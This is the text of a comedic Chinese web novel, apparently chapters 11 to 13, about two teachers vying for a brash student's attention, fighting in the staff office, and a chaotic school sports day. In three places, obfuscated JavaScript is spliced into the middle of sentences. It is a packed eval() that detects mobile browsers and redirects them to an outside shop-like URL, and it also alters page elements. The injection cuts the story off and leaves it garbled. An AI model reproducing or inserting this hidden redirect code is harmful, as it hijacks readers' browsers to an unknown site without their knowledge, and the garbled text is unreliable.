“真的。”大雄比划,“你落地时手臂展开,腿伸直,很有艺术感。” 梦萱盯着他看了半天,突然说:“你脑子是不是被铅球砸过?” “没有。”大雄老实摇头,“但我小时候摔过头,缝了五针。” “难怪。”梦萱站起来,拍拍土,“继续教。再摔一次,我让你也尝尝摔跤的滋味。” “好。”大雄乐呵呵地继续教。 旁观的三班同学窃窃私语: “大雄是不是喜欢被骂?” “可能吧,你看他笑得多开心。” “这什么癖好啊……” 五班观察员发回报告:「大雄对梦萱的侮辱耐受度已达SSS级,建议申请吉尼斯世界纪录。」 洐沁回复:「已记录。另,请观察梦萱是否对‘骂夸反馈’产生依赖。」 答案是:产生了。 下午训练时,梦萱每跳一次,就要骂大雄一句,然后等大雄的“夸奖式回应”。 “姿势像僵尸!”——“但僵尸跳得很远,有研究价值。” “起跳像□□!”——“□□是两栖动物,适应性强。” “落地像地震!”——“说明你力度大,有爆发力。” 两人一来一往,像在说相声。 远处,鲁平和张聪明站在操场边,看得脸色发青。 张聪明:“啊~他们关系真好啊~” 鲁平:“那是病态。” 张聪明:“年轻就是有活力啊~” 鲁平:“那是幼稚。” 嘴上这么说,但两人都没走。 直到训练结束,梦萱和大雄一起离开操场——大雄还帮梦萱背着书包。 鲁平突然说:“我年轻的时候……也挺擅长运动。” 张聪明:“啊~我年轻的时候也挺受欢迎啊~” 两人对视一眼,同时转身,各走各的。 背影萧瑟得像两条被遗弃的老狗。 --- 周六,洐沁的“才艺比拼”计划正式启动。 她分别给两位老师发了“匿名建议”: 给鲁平:「梦萱同学对艺术有独特见解,或许一幅肖像画能让她看到您的用心。」 给张聪明:「梦萱同学数学薄弱,一道为她量身定制的数学题,可能比奶茶更能打动她。」 鲁平收到建议后,立刻去美术器材室借了画板、颜料、素描纸。 但他遇到了技术难题:他不会画画。 据在办公室偷听的五班同学汇报,鲁平给美术老师打电话: “王老师,请教一下,人物肖像……怎么画?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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(附加题:若加入大雄同学送的矿泉水,满意度函数会如何变化?) 这次他满意了:“啊~既体现了数学应用~又结合了现实~” 他把题抄在精美的便签纸上,还画了个爱心。 --- 周一,两位老师的“才艺”同时呈上。 鲁平在政治课前,把画架搬到教室,上面盖着一块布。 “同学们,”他严肃地说,“今天我们先欣赏一幅作品,再上课。” 他掀开布。 全班倒吸一口凉气。 画上的人……确实是梦萱。 但,是抽象派的梦萱。 脸是圆的,但圆得不规则,像被揉过的包子。 眼睛是两个黑点,但点的位置一高一低。 嘴巴是一条波浪线,表示“在说话”。 头发……根本没画发际线,直接涂了一团棕色,上面还点了几个红点——代表痘痘。 最绝的是额头上的题字:《桀骜的灵魂》 鲁平开始讲解:“这幅画,我用了表现主义的手法。扭曲的脸型象征她对抗世界的姿态;不对称的眼睛代表她多角度的观察;波浪线的嘴表现她永不停止的言说;头上的红点不是痘痘,是思想的火花……” 全班寂静。 然后爆发出雷鸣般的掌声——实在是憋不住笑了。 梦萱本人也在三班看到了这幅画——鲁平特意把画架搬到走廊,确保她路过时能看到。 据目击者称,梦萱看了三秒,说:“这画的什么鬼?” 鲁平解释:“这是艺术……” “艺术个蛋!”梦萱指着画,“这他妈像我?我哪有这么丑!” “这是抽象……” “抽象个几把啊!”梦萱气得笑了,“行,你特么等着。” 她走了。 鲁平站在原地,有些失落,但很快振作:“至少她看了。” 五分钟后,张聪明登场。 他拿着那张精美的便签纸,找到梦萱:“梦萱同学啊~老师给你出了道专属数学题啊~” 梦萱接过,看了十秒。 然后她开始念题:“已知梦萱同学每天收到奶茶x杯……鲁老师贡献y杯……张老师贡献z杯……求如何分配使满意度最大化……” 她念完,抬头看张聪明:“你闲得蛋疼?” 张聪明:“啊~这是数学应用……” “应用你妈!”梦萱把纸撕了,“你们两个老东西,一个把我画成鬼,一个把我当数学题算!有病就去治!” 她气冲冲地走了。 张聪明捡起撕碎的纸,小心翼翼地拼好,对旁边的学生说:“她只是还没理解数学的美啊~” 当天下午,鱼塘管理规则出了紧急补充条款: 补充条款四:禁止以任何形式将鱼塘主艺术化、数字化、符号化。违者停投两周。 补充条款五:再敢送奇葩礼物,直接踢出鱼塘。 补充条款六:正常点,求你们了。 鲁平和张聪明收到条款后,同时叹了口气。 然后同时去小卖部买了最普通的矿泉水,准备明天老老实实投喂。 --- 晚上,洐沁在观察笔记上总结: 「实验结论:两位老师的“创意追求”均告失败,回归原始投喂模式。原因:颠婆的审美仍停留在物质层面,尚未进化到精神层面。但值得注意的是,她对大雄的“骂夸互动”接受度良好,说明她需要的是情绪价值,而非物质或艺术。」 「下一步研究方向:如何将情绪价值量化,并纳入鱼塘管理体系?」 我看完,问她:“你还想继续?” “当然。”洐沁眼睛发亮,“运动会快到了,那才是真正的实验场。我预测,在竞争压力下,三角关系会爆发质变。” “……比如?” “比如,”她神秘一笑,“有人会为了赢,不择手段。” “谁?” “所有人。”洐沁合上笔记,“包括我们。” 她顿了顿,补充:“对了,开幕式表演,我改方案了。” “改成什么了?” “全班cosplay成各种鱼。”洐沁说,“鲁平是秃头金鱼,张聪明是油腻锦鲤,大雄是憨憨鲤鱼,梦萱是食人鱼。我扮演鱼塘主,你扮演捕鱼人。” 我:“……这能过审?” “张聪明会说‘啊~你们自己决定啊~’”洐沁模仿得惟妙惟肖,“所以我们自己决定。” 我看着她兴奋的表情,突然觉得,这个班级,这个学校,这个宇宙…… 都他妈太抽象了。 但,还挺有意思。 12. 第 12 章 运动会前一周,高二教师办公室的气氛,紧张得能拧出奶茶。 导火索是张聪明一句无心的“啊~”。 周二下午,老师们在闲聊运动会分工。张聪明端着保温杯,晃着肚子说:“啊~三班的梦萱同学跳远姿势有问题啊~我得去指导指导啊~” 鲁平正在批作业,笔尖“咔嚓”断了。 “你指导?”鲁平抬头,秃顶反射出危险的光,“你数学老师,指导跳远?” “体育老师忙啊~”张聪明理所当然,“我大学时练过三级跳啊~” “三级跳和跳远是两码事。” “原理相通啊~” “不相通。”鲁平站起来,破锣嗓子提了一个八度,“起跳角度、空中姿态、落地缓冲——完全不同。你这叫误人子弟。” 办公室其他老师默默端起茶杯,战术性撤退到安全距离。 五班语文老师周敏偷偷掏出手机,在教师小群里发:「要打起来了,赌谁赢?我押鲁平,好歹年纪大。」 三班物理老师回复:「我押张聪明,吨位压制。」 校长秘书:「已截图,年终考核扣分。」 两位老师:日////狗了,吃个瓜容易么 张聪明被怼,面子挂不住:“啊~鲁老师这么懂~你去教啊~” “我是要教。”鲁平从抽屉里掏出一本《田径训练学》,“我研究三天了。” “你政治老师教跳远?更离谱啊~” “至少我做了功课!” “我也有功课啊~”张聪明从包里掏出一张纸——是他之前编的那道“梦萱专属数学题”改良版,“我把运动数据数学模型化啊~更科学啊~” 鲁平瞥了一眼题目,冷笑:“‘满意度函数’?你这是教数学还是教谈恋爱?” “你管我啊~” “我就要管!” 战争,从这一刻开始,正式从文斗转向武斗。 --- 第一回合:文具暗器战 张聪明抓起一支白板笔扔过去——没扔准,砸到了刚进门的生物老师头上。 生物老师:“???” 鲁平反击,抓起一盒回形针天女散花。回形针在张聪明油亮的头发上挂住了几个,像奇怪的金属发饰。 张聪明怒了,抓起订书机——想了想又放下,换了本软皮书扔过去。 是《班主任工作手册》。 鲁平接住书,看了一眼封面,更怒:“你拿这个砸我?讽刺我不当班主任?” “对啊~你管得着啊~” 鲁平抄起自己的保温杯——没扔,舍不得,里面泡着枸杞。他换了个塑料文件夹扔过去。 文件夹在空中展开,里面的试卷飘散如雪。 其中一张飘到了校长室门口。 校长刚好出来,捡起试卷,看到上面写着:「高二政治月考——梦萱,分数:12。」 校长沉默了三秒,退回办公室,关上了门。 战术性无视。 --- 第二回合:贴身肉搏 张聪明仗着体重优势,一个“油腻冲撞”扑向鲁平。 鲁平敏捷闪避——他练瑜伽的,柔韧性好,一个下腰躲过,顺手抄起墙角的扫把。 “你别过来!”鲁平挥舞扫把,“我有武器!” “扫把算什么武器啊~”张聪明抓起拖把,“我也有啊~” 于是,高二教师办公室出现了奇幻一幕: 一个秃顶政治老师和一个油腻数学老师,各持一把清洁工具,像中世纪骑士决斗般对峙。 扫把vs拖把。 秃鹫vs油蛆。 其他老师已经退到走廊,有人开始录像。 五班班长程穗(我)和观察员洐沁被叫来送作业,正好目睹这一幕。 洐沁立刻进入研究状态:“清洁工具象征他们试图‘净化’对方在梦萱心中的形象。但用污秽工具进行净化,本身就是矛盾。这很有哲学意味。” 我:“……现在是分析的时候吗?” “时刻保持学术思维。”洐沁掏出笔记本,“记录:两位中年男性教师,为争夺一名女学生的‘指导权’,在公共办公场所使用卫生工具进行决斗。这可以写进《当代教育异化现象研究》。” 那边,战斗升级了。 张聪明使出一招“拖把横扫”,鲁平“扫把格挡”,塑料柄碰撞发出“啪啪”声。 “你就不能放弃吗?”鲁平气喘吁吁,“你根本不懂运动!” “你懂?你跑个一千米试试啊~” “我练瑜伽!比你有柔韧性!” “柔韧性有什么用啊~跳远要爆发力啊~” “爆发力我也行!” 鲁平突然扔掉扫把,做了个深蹲起跳的姿势——但他忘了手里还拿着保温杯。 枸杞水泼了一地,几颗枸杞粘在了张聪明的衬衫上,像诡异的红色纽扣。 张聪明低头看衬衫,怒了:“我刚买的啊~三百块啊~” “赔你就是!” “赔?你赔得起吗?你一个月工资多少啊~” 人身攻击开始了。 --- 第三回合:言语核武 鲁平:“你有几个子啊,班主任工资就高300!” 张聪明冷笑:“我工资是高不了多少啊~但至少头发还在努力生长啊~” 暴击。 鲁平摸了下自己明镜般的脑袋瓜子,眼睛红了:“你什么意思?” “字面意思啊~” 鲁平指着他的头发,“你有德性你天天抹这么多发胶,油得能炒菜了,还天天抹,不怕着火?” “你那秃顶能当镜子照啊!还好意思说我啊!” “我是天然秃!你是人工油!” “天然秃更丢人!” “人工油更恶心!” 两人越骂越离谱,从头发骂到穿衣,从穿衣骂到教学水平。 “你讲课学生全睡觉!” “你讲课学生全溜号啊~” “我至少不说‘啊~’!” “我那是语气词啊~你有吗?你有吗?” “我需要吗?!” “你需要你也学不会啊~” 此时,办公室外已经围了三层学生。 梦萱也在其中——她是被跟班叫来的,说“有热闹看”。 她挤到前排,看到两位老师拿着清洁工具对骂,愣了一下,然后爆笑。 “打呀!”她起哄,“光骂有什么用!动手啊!” 鲁平和张聪明同时转头看她。 那一刻,他们眼神里闪过同样的情绪:窘迫,尴尬,还有一丝……“不能在她面前丢脸”的倔强。 于是,他们真的动手了。 --- 第四回合:真正的肢体冲突 张聪明扔掉拖把,一个熊抱扑向鲁平。 鲁平被扑得后退三步,撞翻了档案柜。文件夹哗啦啦倒下,其中一份飞出窗外——后来发现是明年的招生计划。 两人滚倒在地。 是真的滚。 鲁平在下面,张聪明在上面,两人扭成一团,像两条在泥潭里打架的鲶鱼。 “放手!”鲁平喊。 “你先放啊~” “你压到我头发了!” “你哪有头发啊~” “有!边上还有几根!” 梦萱笑到拍墙:“对对对!揪他边上那几根!揪下来当纪念品!” 张聪明真的伸手去揪。 鲁平惨叫——虽然不疼,但屈辱。 他一个翻身,反压住张聪明,但张聪明肚子太大,压不住,又滑下来。 两人就这么滚来滚去,从办公室东头滚到西头,撞翻了三把椅子、两个垃圾桶、一个盆栽。 盆栽是语文老师周敏的心头肉——一盆多肉,养了三年。 周敏:不!!!!!! 多肉飞出去,在空中划出优美的抛物线,精准地砸在刚进门的年级主任头上。 年级主任:“我靠!!!” 全场寂静。 年级主任把头上的多肉拿下来,看了看,又看了看地上扭打的两位老师,沉默。 然后他说:“继续。” 转身走了。 年级主任,也是明白人。 知道这时候打断,会出人命——不是老师们的命,是他自己的命。 --- 第五回合:道具战升级 张聪明摸到了地上的白板擦,抓起一把粉笔灰撒向鲁平。 鲁平被糊了一脸,像个骷髅头。 他怒了,抓起旁边老师的假发——那位老师是戴假发的,今天请假,假发放在桌上保养。 鲁平把假发扣在张聪明头上。 张聪明愣住了。 那是一顶女式波浪卷假发,栗色,带刘海。 张聪明顶着这顶假发,配上他油光满面的脸和愤怒的表情,像刚做完头发的暴怒大妈。 围观学生憋笑憋到抽搐。 梦萱笑到蹲在地上:“哈哈哈哈哈哈!张老师!你这样好像我姨妈!” 张聪明一把扯下假发,看到是女式的,更怒:“鲁平!你太过分了!” “你先撒粉笔灰的!” “那是战术!” “我这也是战术!” 张聪明把假发扔回去,鲁平接住,想了想,戴在自己头上。 他是秃顶,戴假发反而合适。 一顶女式波浪卷假发,扣在反光的秃顶上,竟然……毫无违和感? “我去!”有学生惊呼,“鲁老师戴假发还挺好看!” 鲁平下意识摸了下假发,脸红了。 张聪明见状,更怒:“你给我摘下来!” “不摘!” “摘下来!” “有本事你来摘啊~~”鲁平学张聪明的语气,还拖了个长音。 张聪明气疯了,又扑上去。 两人再次扭打,这次都顶着假发——张聪明抢回了假发,但戴反了,波浪卷朝后,像奇怪的尾巴。 场面已经抽象到无法用语言描述。 洐沁在笔记本上疯狂记录:「假发作为权力象征的争夺。戴假发者获得暂时的‘完整感’,但假发的女性属性又带来性别认知混乱。这是中年男性身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“看样子是平手。”梦萱说,“那这样,运动会跳远比赛,你们俩一起指导我。谁的方法让我跳得远,谁就赢。” 鲁平:“真的?” 张聪明:“啊~说话算话啊~” “算话。”梦萱站起来,“不过现在,先把办公室收拾了。我看着你们收拾。” 她拉了把椅子坐下,跷起二郎腿,像个监工。 两位老师对视一眼,默默爬起来,开始收拾。 一个扫地的,一个拖地的,配合默契。 梦萱看着,突然说:“其实你们打架的样子,挺有意思的。” 两人动作一顿。 “比平时那副老师样有意思多了。”梦萱笑了,“继续保持。” 她走了。 留下两位老师,一个拿着扫把,一个拿着拖把,站在原地,若有所思。 那天之后,教师办公室多了一条新规定: 「禁止私藏假发,禁止使用枸杞作为武器,禁止在上班时间进行任何形式的‘压力释放演练’。」 而鲁平和张聪明的关系,微妙地改善了。 他们还是会争,但不再动手。 取而代之的,是一种奇怪的默契。 比如,鲁平买奶茶时,会给张聪明也带一杯。 张聪明编数学题时,会给鲁平也编一道“政治逻辑题”。 用洐沁的话说:「从竞争关系进化为‘竞争性协作关系’。他们意识到,单打独斗赢不了,必须联盟对抗更大的威胁——时间和发际线。」 更大的威胁,其实是大雄。 但两位老师还没意识到。 或者说,不愿意识到。 --- 放学后,洐沁召开五班战后分析会。 “今天的观察收获巨大。”她说,“我们见证了中年男性求偶行为的极端形态。接下来,运动会将是最终战场。” “我们的开幕式怎么办?”王鑫问,“真要cos鱼?” “必须cos。”洐沁坚定,“而且我已经设计了更精彩的剧本。” “什么剧本?” 洐沁在白板上画示意图: “开幕式,我们班入场时,鲁平和张聪明会站在主席台两侧。当他们看到我们cos的鱼时,会有什么反应?” “震惊?无语?” “不止。”洐沁微笑,“我安排了一个环节:梦萱和大雄会穿着‘食人鱼’和‘憨憨鲤鱼’的cos服,在队伍最前面。而两位老师,会看到他们并肩而行。” “然后呢?” “然后,就会发生一些……化学反应。”洐沁眼睛发亮,“我已经迫不及待要记录数据了。” 全班沉默。 最后,王鑫说:“洐沁,你真的……不考虑当个正常人吗?” 洐沁推了推不存在的眼镜:“在这个班级,正常才是病。” 我:尼玛批的 好吧,其实她说得对。 在这个全员抽象的高二五班,正常,反而是最格格不入的。 而我,作为班长,唯一能做的,就是…… 陪着他们一起疯。 毕竟,火锅快到手了。 毕竟,这样的高中生活,一辈子可能就这一次。 那就,疯个彻底吧。 13. 第 13 章 运动会当天,天气晴朗,阳光明媚,适合晒太阳、吃零食、以及观看人类迷惑行为大赏。 五班的“鱼类cosplay”计划,在洐沁的魔鬼督导下,成功升级为“水产市场暴动模拟”。 早上七点,教室。 同学们看着自己分到的“鱼服”,沉默了。 王鑫举着一件用蓝色垃圾袋和纸板拼成的“鲨鱼服”,声音颤抖:“这……穿出去会社会性死亡吧?” “不会。”洐沁推了推眼镜,“社会性死亡的前提是社会接纳。我们本来就活在社会边缘,不存在死亡。” “说人话。” “哎呀,反正都抽象,不如抽象到底。”洐沁穿上她自制的“鱼塘主套装”——一件绿色雨披,头上戴个渔夫帽,手里拿根绑着网兜的竹竿。 我分到的是“捕鱼人”,服装相对正常:迷彩服、雨靴、一顶草帽。但洐沁给我加了个道具——一个玩具鱼叉,叉头上还挂着条塑料咸鱼。 “这是干什么?”我拎着咸鱼。 “象征意义。”洐沁说,“你作为班长,要负责把跑偏的鱼叉回正轨。” “我觉得我已经在正轨外了。” “那就一起偏。”洐沁拍拍我,“记住,入场时表情要严肃,像真的在捕鱼。” 七点半,操场。 其他班级的入场式:一班摆数字,二班跳街舞,三班……三班没来。 “三班人呢?”有老师问。 正说着,远处传来鼓乐声。 三班出现了。 他们穿着统一的红色运动服,排着整齐的方阵,领头的是梦萱——她没穿红色,穿了身亮片紧身衣,像夜店领舞。 走到主席台前,梦萱一挥手,三班全体突然蹲下,开始……打军体拳? “哈!” “嘿!” “哈!” 动作整齐,气势如虹,如果忽略他们一边打拳一边念的口号: “三班三班!全是猛男!不服来战!打到你瘫!” 裁判席上的老师们表情复杂。 主任小声对旁边校长说:“这口号……是不是有点暴力?” 校长:“青少年要有血性。” 梦萱打完一套拳,对着话筒喊:“今天,我要拿三块金牌!跳远、百米、还有……看谁不爽就揍谁项目!” 全场哄笑。 梦萱满意下台。 接下来是四班、六班……都正常得乏善可陈。 直到—— “现在入场的是高二五班!”广播响起。 音乐变了。 不是运动员进行曲,是……《渔舟唱晚》? 我:对,我找的音乐。 五班方阵从入口缓缓走出。 前排,王鑫穿着“鲨鱼服”,因为纸板太硬,走路像僵尸,每一步都发出“咔嚓”声。 后排,赵倩扮成“小丑鱼”,脸上画着橙色条纹,但颜料没干,流下来像在哭。 中间,刘浩扮“电鳗”,手里举着两根缠着彩灯的棍子,一开开关,棍子短路了,冒出一缕青烟。 最绝的是队伍正中央—— 鲁平和张聪明被洐沁强行拉进方阵,分别扮成“秃头金鱼”和“油腻锦鲤”。 鲁平的“金鱼服”是橙色雨衣,头上顶了个红色气球当“头瘤”——但气球吹太大,风一吹就把他带得踉跄。 张聪明的“锦鲤服”是银色亮片外套,肚子上贴了张打印的“福”字,走起路来亮片反光,能闪瞎人眼。 “我为什么要穿这个啊~”张聪明小声抱怨。 “为了班级荣誉。”我严肃地说,“而且,梦萱在看。” 两位老师立刻挺直腰板。 主席台上,校长眯起眼睛看了半天,问旁边的主任:“这是……新型环保宣传?” 主任:“好像是……鱼类cosplay?” “有什么教育意义?” “呼吁保护海洋……吧?” 这时,五班走到主席台前。 洐沁一挥手。 全班突然停下,开始表演她编排的“鱼类之舞”。 动作包括:模仿鱼摆尾(集体扭屁股)、模仿鱼吐泡(集体嘟嘴“噗噗噗”)、模仿鱼缺氧(集体翻白眼抽搐)。 我:已社死勿call 鲁平和张聪明被安排在C位,动作最夸张。 鲁平扭屁股时,秃顶上的气球“砰”一声炸了。 张聪明翻白眼时,假睫毛掉了一只。 全场死寂三秒。 然后爆发出山崩地裂的笑声。 连三班都笑趴了。 梦萱指着张聪明掉在地上的假睫毛,笑得直拍大腿:“哈哈哈哈!张老师!你什么时候粘的假睫毛!” 张聪明脸通红,小声说:“啊~为了角色完整啊~” 校长在主席台上,拿着话筒,想说什么,又放下,最后只说了一句:“五班……很有创意。” 这是他能想到最宽容的评价。 下场时,五班同学互相搀扶——不是感动,是笑得腿软。 洐沁边走边记录:「公开处刑完成,社交恐惧症治愈率预计提升300%。」 --- 比赛开始。 第一项:女子百米。 梦萱参赛。 起跑线上,她做着夸张的热身动作:高抬腿、后踢腿、还来了个劈叉——没劈下去,卡在半空,被裁判扶起来了。 发令枪响。 梦萱像炮弹一样冲出去——可惜是哑炮,起跑慢了半拍。 但她追得猛,边跑边喊:“挡我者死!” 旁边跑道的女生被她吓到,差点摔跤。 女生:死颠婆离我远点啊!!! 最后梦萱第三名。 她冲过终点线,没停,直接冲到裁判席:“我要求重赛!有人干扰我!” 裁判:“谁干扰?” “她!”梦萱指着旁边跑道的女生,“她呼吸声太大,影响我节奏!” 女生:???你的脸比城墙还厚呢铁子 裁判:“呼吸声?” “对!她喘得像破风箱!” 女生委屈:“我哮喘……” “哮喘别来比赛啊!”梦萱理直气壮。 女生:傻逼 最后裁判没理她。 梦萱气呼呼地走了,边走边脱运动鞋扔地上:“破鞋!害我输!” 鞋飞出去,砸中了正在场边热身的铅球选手。 铅球选手是张大雄。 他被砸中后背,愣了一下,捡起鞋,憨憨地问:“谁的鞋?” 梦萱光着一只脚跳过来:“我的!给我!” 大雄递过去,还补充一句:“你脚……挺小的。” 梦萱:“废话!老娘36码!” “像小孩的脚。”大雄说,“很可爱。” 梦萱瞪他:“你再说一遍?” “很可爱。” 梦萱沉默三秒,抢过鞋穿上,走了。 走了几步又回头:“你铅球几点?” “十点。” “拿不到金牌别来见我。” “好。”大雄认真点头。 远处,鲁平和张聪明全程目睹。 鲁平:“她在命令他。” 张聪明:“啊~关系真好啊~” 两人对视,眼中闪过同样的酸意。 --- 第二项:男子铅球。 大雄上场前,梦萱走过来,往他手里塞了颗糖:“吃了,补充能量。” 是颗水果糖,橘子味的。 大雄剥开糖纸,塞进嘴里,憨笑:“甜。” “废话,糖能不甜吗?”梦萱踹他一脚,“快去!” 大雄上场。 他身高体壮,动作标准,铅球在空中划出完美抛物线——然后砸在了裁判脚边半米处。 裁判吓得跳起来。(内心os:卧槽!谋杀!) 成绩:12米,暂列第一。 大雄憨憨地笑,看向梦萱。 梦萱竖起大拇指,用口型说:“还行。” 大雄笑得更开心了。 第二投,他可能太兴奋,旋转投掷时没站稳,铅球脱手,飞向了……观众席。 观众席上坐着鲁平和张聪明。 铅球朝他们飞去。 鲁平反应快,一把推开张聪明,自己侧身躲开。 铅球砸在他们身后的空椅子上,把椅子砸塌了。 全场寂静。 大雄愣在原地。 裁判吹哨:“投掷出界!成绩无效!” 梦萱冲过来,指着大雄鼻子骂:“你他妈是不是傻波一!往哪儿扔呢!” 大雄低头:“对不起……” “对不起有用吗?要是砸到人怎么办?!” “我……” “我什么我!去道歉!” 大雄乖乖走到观众席,对鲁平和张聪明鞠躬:“老师对不起。” 鲁平惊魂未定,但还是说:“没关系……下次注意……” 张聪明拍着胸口:“啊~差点就见阎王了啊~” 梦萱走过来,对大雄吼:“愣着干嘛?继续比啊!” 大雄回去第三投,正常发挥,11.5米,总成绩第三名。 颁奖时,他拿到铜牌,第一时间跑向梦萱:“给你。” 梦萱:“给我干嘛?” “你让我拿金牌,我没拿到……”大雄低头,“铜牌也行吗?” 梦萱盯着他看了几秒,接过铜牌,挂在自己脖子上:“行吧,凑合。” 她又补一句:“下次我要金的。” “好。”大雄用力点头。 鲁平和张聪明看着这一幕,表情像吃了柠檬。 张聪明:“啊~铜牌就换到一个‘凑合’啊~” 鲁平:“我们送奶茶,她只说‘放那儿’。” 两人同时叹气。 --- 第三项:女子跳远。 这是重头戏。 梦萱上场前,鲁平和张聪明同时冲上去。 “梦萱同学!”鲁平拿出小本本,“我计算了最佳起跳角度,38度最合适!” “让开啊~”张聪明挤开他,“我做了数学模型啊~要考虑风速湿度啊~” “你那模型是数学!这是物理!” “数学是万物基础啊~” 两人又吵起来。 梦萱被吵烦了,大吼:“都闭嘴!” 两人安静。 “你,”她指鲁平,“说角度。” “你,”她指张聪明,“说风速。” 两人同时开口,说的内容截然不同。 梦萱听了十秒,说:“听不懂。” 她转身,对着场边喊:“大雄!过来!” 大雄跑过来。 “你教我的方法,再说一遍。” 大雄挠头:“就……跑快点,跳高点,落地稳点。” “懂了。”梦萱点头,对两位老师说,“看到没?这才叫指导。” 鲁平&张聪明:“……” 梦萱开始比赛。 第一次试跳:她跑太快,起跳太早,落在沙坑边缘,成绩无效。 第二次:她起跳时犹豫,跳了个很保守的距离,4米2。 第三次:她深吸一口气,按照大雄说的,跑、跳—— 在空中,她突然喊了一句:“为了火锅!” 然后像个炮弹一样砸进沙坑。 成绩:4米8,暂列第二。 她跳出沙坑,拍拍身上的沙,对两位老师说:“看到没?有用的是‘为了火锅’,不是你们那些角度模型。” 鲁平认真记录:“心理暗示的作用大于技术指导。” 张聪明:“啊~火锅的激励效果量化一下啊~” 梦萱不理他们,走到大雄面前:“还行,比上次远。” 大雄憨笑:“你跳得很好。” “废话。” 颁奖时,梦萱拿到银牌。 她把银牌也挂脖子上,和铜牌并排,像奇怪的项链。 她对大雄说:“现在我有两枚了,你还差一枚。” “我下午有铁饼。” “拿不到别来见我。” “好。” 对话简洁得像□□接头。 --- 中午休息,五班大本营。 洐沁召开紧急战略会议。 “目前积分,三班领先,我们班第二,差8分。”洐沁在白板上画图表,“下午的关键项目:男子五千米,女子4x100接力,还有……拔河。” “拔河我们班有优势!”王鑫说,“体重基数大。” “但三班有大雄。”洐沁说,“他一个人能顶两个。” “那怎么办?” “心理战。”洐沁推眼镜,“我已经制定计划。” 她把计划说了一遍。 全班沉默。 最后王鑫说:“洐沁,你真的是高中生吗?不是哪个特种部队退役的?” “我是研究者。”洐沁淡定地说,“现在,执行计划。” 我:其实你纯有病。 --- 下午,男子五千米。 五班派出的是周浩,瘦高个,耐力好。 三班派出的是……大雄。 他报满了三项:铅球、铁饼、五千米。 “他体力能行吗?”我问。 “憨憨的耐力往往超乎想象。”洐沁说,“但我们的计划不是赢他,是干扰他。” 发令枪响。 五千米是漫长的折磨。 跑到第三圈时,洐沁的计划启动了。 五班同学在跑道内侧,举起了标语牌。 第一块:「大雄,梦萱说你要是输了就换跟班!」 第二块:「她已经在物色新人了!」 第三块:「看,她在和鲁老师说话!」 大雄看到了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064647|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他脚步乱了。 第四块:「张老师也在献殷勤!」 第五块:「你要被取代了!」 大雄加速了。 像头被激怒的公牛,他开始疯狂超车。 周浩本来领先,被大雄一口气超了半圈。 “计划奏效了。”洐沁记录,「憨憨的嫉妒心被成功激发,运动表现提升37%。」 但副作用很快出现。 大雄跑太快,第七圈时开始喘不上气,速度慢下来。 周浩稳住节奏,慢慢追上。 最后两圈,大雄脸色发白,明显体力透支。 但他还在坚持,边跑边念叨:“不能输……不能换……” 最后冲刺,周浩第一,大雄第二。 冲过终点线,大雄直接跪在地上,剧烈咳嗽。 梦萱冲过去,不是扶他,是骂:“你煞笔吧!跑那么快干嘛!不要命了!” 大雄抬头,满脸汗,憨笑:“没输……没换人吧?” 梦萱愣住。 然后她用力拍他脑袋:“神经病!谁说要换人了!” 但语气软了。 她递过去一瓶水:“喝。” 大雄接过,咕咚咕咚喝完。 远处,鲁平和张聪明看着。 鲁平:“她递水了。” 张聪明:“啊~我们送奶茶她都没亲手接啊~” 两人再次叹气。 --- 最后一项:拔河。 五班vs三班,决赛。 大雄作为三班主力,站在队伍最前面。 五班这边,王鑫领头,后面是全班体重最大的几个男生。 “预备——开始!” 绳子瞬间绷紧。 五班一开始占优势,把三班拉过来一大截。 但大雄突然发力,一个人往后拽,绳子又慢慢移回去。 僵持。 这时,洐沁的计划第二阶段启动。 五班女生团突然集体喊口号: “大雄大雄!鼻子有虫!” “痘痘七颗!能拼北斗!” “梦萱嫌弃!赶紧祛痘!” 大雄愣了一下。 就这一下,五班发力,绳子猛地被拉过来一寸。 三班同学急了大喊:“大雄!别听他们的!” 但晚了。 五班女生继续: “梦萱喜欢小白脸!” “你太黑!没机会!” “赶紧放弃!别硬撑!” 大雄眼神动摇。 绳子又过来一寸。 这时,梦萱突然冲到最前面,对着大雄喊: “张大雄!你他妈给我用力拉!” 大雄看向她。 “赢了这场!我给你买篮球!” 大雄眼睛亮了。 他深吸一口气,仰天大吼,肌肉绷紧,青筋暴起。 然后,他把绳子拽回去了。 不止拽回去,是把五班整个队伍拖过了界。 裁判吹哨:“三班胜!” 五班同学倒在地上,累瘫了。 大雄也瘫了,但他在笑。 梦萱走过来,踢他一脚:“行啊,没白吃。” 大雄憨笑:“篮球……” “买!”梦萱说,“但你要帮我拿跳远金牌——明年。” “好。” --- 运动会结束,总分统计。 三班第一,五班第二,差3分。 火锅,没了。 五班同学垂头丧气。 张聪明走过来:“啊~同学们别灰心啊~虽然没拿到第一啊~但表现很棒啊~” 鲁平也来了:“第二名也很优秀。” 这时,梦萱走过来,脖子上挂着三块奖牌(她又混了块接力银牌),像个暴发户。 她看着五班同学,突然说:“你们班,挺有意思的。” 全体愣住。 “尤其是那个鱼类cosplay。”梦萱笑了,“虽然傻逼,但够疯。我喜欢。” 她转身要走,又回头:“对了,火锅,我请。” 全班:“???” “三班第一的奖金,我让他们同意拿出来,请五班吃火锅。”梦萱说,“就当……赔你们被大雄砸塌的椅子。” 她走了。 五班同学愣在原地。 然后爆发出欢呼。 “火锅!” “梦萱请客!” “颠婆万岁!” 鲁平和张聪明对视一眼。 